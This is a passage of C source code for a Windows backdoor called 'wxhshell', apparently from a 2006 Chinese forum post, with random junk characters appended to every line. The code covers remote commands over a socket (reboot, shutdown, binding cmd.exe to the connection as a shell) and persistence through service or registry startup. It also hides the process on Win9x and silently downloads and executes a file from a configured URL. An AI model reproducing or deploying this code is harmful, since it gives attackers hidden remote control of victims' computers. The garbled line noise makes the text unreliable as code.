  else { piqh7u3~  
Ya(3Z_f+VZ  
    switch(cmd[0]) { vU(fd!V ?  
  v*c"SI=@M=  
  // 帮助 '-cayG   
  case '?': { hT`&Xb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BzV97'  
    break; e)m6xiZ  
  } I!SIy&=W  
  // 安装 xM@s`s|n  
  case 'i': { {fjBa,o #  
    if(Install()) | g1Cs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pF9WKpzE  
    else u:tcL-;U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ei"c|/pO  
    break; [j0jAl  
    } J8ScKMUN2  
  // 卸载 %oquHkX%OJ  
  case 'r': { %UhLCyC/  
    if(Uninstall()) sx]{N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qvel#*-4  
    else J3e'?3w[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kD7'BP/#  
    break; _18Z]XtX  
    } 5NhAb$q2Y  
  // 显示 wxhshell 所在路径 qq3/K9 #y  
  case 'p': { W39J)~D^@  
    char svExeFile[MAX_PATH]; 6q!Q(_  
    strcpy(svExeFile,"\n\r"); o6:bmKWE  
      strcat(svExeFile,ExeFile); GG-b)64h`  
        send(wsh,svExeFile,strlen(svExeFile),0); [:q J1^UU  
    break; f6nuh&!-  
    } UZmo?&y  
  // 重启 f.bwA x  
  case 'b': { }RKsS3}   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n_k`L(8*  
    if(Boot(REBOOT)) =#[t!-@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OW@"j;6 3`  
    else { Ye$; d ~  
    closesocket(wsh); 7G*rxn"d  
    ExitThread(0); g9NE>n(3  
    } s@GE(Pu7  
    break; 1ox#hQBoS  
    } ma!C:C9#J  
  // 关机 Ts3!mjn  
  case 'd': { 7oc Ng  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "] Uj _d  
    if(Boot(SHUTDOWN)) Bjj =UtI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)[ pL(4  
    else { 2J%L%6z8~  
    closesocket(wsh); IXlk1tHN4I  
    ExitThread(0); BE],PCpPr  
    } 0c1=M|2  
    break; l!W!Gz0to  
    } (I(U23A~  
  // 获取shell /m,i,NX07  
  case 's': { b\zq,0%  
    CmdShell(wsh); 2(Yg',aMY-  
    closesocket(wsh); ;' |CSjco  
    ExitThread(0); >n(dyU@  
    break; Sa0IRC<LV  
  } TTbJ9O<43  
  // 退出 V~Z)^.6  
  case 'x': { XD|Xd|/ {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uEG4^  
    CloseIt(wsh); 5e1oxSU  
    break; bv7xh*/  
    } '.8eLN  
  // 离开 1?3+>  
  case 'q': { VS_\bIC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [dUAb  
    closesocket(wsh); _qpIdQBo  
    WSACleanup(); >{-rl@^H:  
    exit(1); 6ecx!uc$  
    break; )8'v@8;-  
        } b'` XFB#V  
  } B1s&2{L6K  
  } {7MY*&P$,  
Pn4jI(  
  // 提示信息 Z_<NUPE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +2}Ar<elP  
} -*hPEgcV9  
  } |9Yx`_DF  
l-!"   
  return; K K]R@{ r  
} -nX{&Z3-s  
Pth4_]US  
// shell模块句柄 +lZ-xU1  
int CmdShell(SOCKET sock) Eza^Tbq%j?  
{ AE`UnlUSF  
STARTUPINFO si; n "^rS}Y]  
ZeroMemory(&si,sizeof(si)); 1vCp<D9<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0(9gTxdB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m!!;CbPo  
PROCESS_INFORMATION ProcessInfo; 6 b?K-)kL  
char cmdline[]="cmd"; R/Sm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [u J<]  
  return 0; ,KF>@3f  
} 6 OvH"/X4  
zlTLp-^Y  
// 自身启动模式 SB5qm?pT8<  
int StartFromService(void) b"`fS`@/MW  
{ H@ty'z?  
typedef struct M?hPlo"_  
{ K`ygW|?gt  
  DWORD ExitStatus; LWSy"Cs*  
  DWORD PebBaseAddress; 3m2y<l<  
  DWORD AffinityMask; dl |$pm@x  
  DWORD BasePriority; h.Sbds  
  ULONG UniqueProcessId; 2chT^3e  
  ULONG InheritedFromUniqueProcessId; 30(e6T;   
}   PROCESS_BASIC_INFORMATION; +W8#]u|  
:D>flZi  
PROCNTQSIP NtQueryInformationProcess; [nX{ sM%  
M19 5[]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V:+vB "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d{(Rs.GuP  
;- Vs|X  
  HANDLE             hProcess; hp}rCy|01  
  PROCESS_BASIC_INFORMATION pbi; {!{T,_ J  
/X#OX 8gb]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I\rjw$V#  
  if(NULL == hInst ) return 0; i=M[$   
mz;ExV16  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ 7Nqwwx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aO9\8\^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N[O_}_  
9o6qN1A0g  
  if (!NtQueryInformationProcess) return 0; rXip"uz(K>  
S"87 <o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Iaqbt%2  
  if(!hProcess) return 0; d4Y[}Fcp+  
*tkf)[(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]^{5`  
0tMzVx S  
  CloseHandle(hProcess); V/R@ =[  
L;b-=mF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (5[#?_~  
if(hProcess==NULL) return 0; 36.mf_AM  
6(1 &6|o3  
HMODULE hMod; S_VzmCi  
char procName[255]; -~lrv#5Q  
unsigned long cbNeeded; !VrBoU4<d  
!}1l8Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y] Cx[  
]#q$i[Y  
  CloseHandle(hProcess); Aqg$q* Y  
?9 `T_,  
if(strstr(procName,"services")) return 1; // 以服务启动 a<+Rw{  
,p\*cHB9  
  return 0; // 注册表启动 ,pkzNe`F  
} `fVzY"Qv k  
cRf;7G  
// 主模块 ~Sd,Tu%:  
int StartWxhshell(LPSTR lpCmdLine) [ei5QSL |  
{ X\<a|/{V A  
  SOCKET wsl;  Y!|};  
BOOL val=TRUE; (.{."  
  int port=0; "e29j'u!*  
  struct sockaddr_in door; wc~9zh  
+OB&PE  
  if(wscfg.ws_autoins) Install(); Q-U,1b  
gKIN* Od  
port=atoi(lpCmdLine); (KfdN'vW  
k<"N^+GSz  
if(port<=0) port=wscfg.ws_port; =aehhs>  
O&">%aU1I  
  WSADATA data; v57Kr ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (ijO|%?  
MU N:}S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =3,Sjme  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g)MLgjj  
  door.sin_family = AF_INET; )*o) iN 7l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W`n_m&Y\  
  door.sin_port = htons(port); .=c@ps  
>g[Wnzf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =)]RD%Oq  
closesocket(wsl); 91#n Aj%  
return 1; #e9XU:9 @g  
} T(~^X-k  
BTE&7/i 21  
  if(listen(wsl,2) == INVALID_SOCKET) { SC2g5i`  
closesocket(wsl); H"2,Q T  
return 1; HI)U6.'  
} i l%9j  
  Wxhshell(wsl); _b=})**  
  WSACleanup(); x6=tS  
i\MW'b  
return 0; m :]F &s  
QkO4Td<  
} Pp|pH|(n ,  
fK=vLcH  
// 以NT服务方式启动 wp-3U}P2(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 23q2u6.F`  
{ `7',RUj|D  
DWORD   status = 0; _'s5FlZq  
  DWORD   specificError = 0xfffffff; \z2d=E  
dBW#PRg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <5sfII  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %5(v'/dQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G&7 } m  
  serviceStatus.dwWin32ExitCode     = 0; =E8Kacu%  
  serviceStatus.dwServiceSpecificExitCode = 0; \<y#$:4r<8  
  serviceStatus.dwCheckPoint       = 0; z &[[4[  
  serviceStatus.dwWaitHint       = 0; #8bI4J{dE  
GuJIN"P]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .q$/#hN:e  
  if (hServiceStatusHandle==0) return; ]6HnK%  
Q $>SYvW  
status = GetLastError(); ,k/<Nv;  
  if (status!=NO_ERROR) K%vGfQ8Er-  
{ u #7AB>wi{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @{880 5Dp  
    serviceStatus.dwCheckPoint       = 0; sM%.=~AN  
    serviceStatus.dwWaitHint       = 0; cACnBgLl  
    serviceStatus.dwWin32ExitCode     = status; OL#RkD  
    serviceStatus.dwServiceSpecificExitCode = specificError; [dXRord  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]}A yDy6C  
    return; v8A{ q  
  } QOF'SEq"k  
jY\YSQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^EKf_w-v  
  serviceStatus.dwCheckPoint       = 0;  N/AP8  
  serviceStatus.dwWaitHint       = 0; );x[1*e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :SpPT  
} !myF_cv}'  
>Q^*h}IdW  
// 处理NT服务事件,比如:启动、停止 {*4Z9.2c*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \V.U8asfI  
{ _]=, U.a=/  
switch(fdwControl) UX<0/"0h  
{ T}A{Xu*:+H  
case SERVICE_CONTROL_STOP: o/\z4Ri)$  
  serviceStatus.dwWin32ExitCode = 0; h$fC/Juit  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |n&EbOmgf  
  serviceStatus.dwCheckPoint   = 0; ^kj%Ekt7  
  serviceStatus.dwWaitHint     = 0; ,1e@Y~eZ  
  { >(a/K2$*1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7PI|~Ifi  
  } g/soop\:  
  return; px_%5^zRQ  
case SERVICE_CONTROL_PAUSE: BRMR> ~k(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C/pu]%n@4  
  break; ^kpu9H  
case SERVICE_CONTROL_CONTINUE: &]/.=J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <3Hu(Jx<O  
  break; k$ } 6Qd  
case SERVICE_CONTROL_INTERROGATE: GEi^3UD  
  break; &rxR"^x\  
}; (*YENT}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *CXVA&?  
} LIHf]+  
o>Z+=&BZ@a  
// 标准应用程序主函数 $(%t^8{a~G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sQe>LNp,G  
{ gG=E2+=uy  
bDPT1A`F  
// 获取操作系统版本 gs77")K&  
OsIsNt=GetOsVer(); ;rH@>VrR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pF"IDC  
O8ZHIs  
  // 从命令行安装 PK* $  
  if(strpbrk(lpCmdLine,"iI")) Install(); b%,`;hy{  
sWnU*Q  
  // 下载执行文件 YEqWTB|w  
if(wscfg.ws_downexe) { Bhrp"l +|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U9B|u`72  
  WinExec(wscfg.ws_filenam,SW_HIDE); %Gs!oD  
} /=qn1  
>j$CM:w  
if(!OsIsNt) { \D #NO  
// 如果时win9x,隐藏进程并且设置为注册表启动 bx<7@  
HideProc(); /P|jHK|{  
StartWxhshell(lpCmdLine); FeFH_  
} #VEHyz6P  
else z<mU$<  
  if(StartFromService()) [(N<E/m%B  
  // 以服务方式启动 %fz!'C_4  
  StartServiceCtrlDispatcher(DispatchTable); SSF4P&  
else Wz7jB6AWA  
  // 普通方式启动 "L" 6jT  
  StartWxhshell(lpCmdLine); ;=6~,k)  
3J}bI {3  
return 0; up7]Yy;o=  
}
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只看该作者 1 发表于: 2006-10-10
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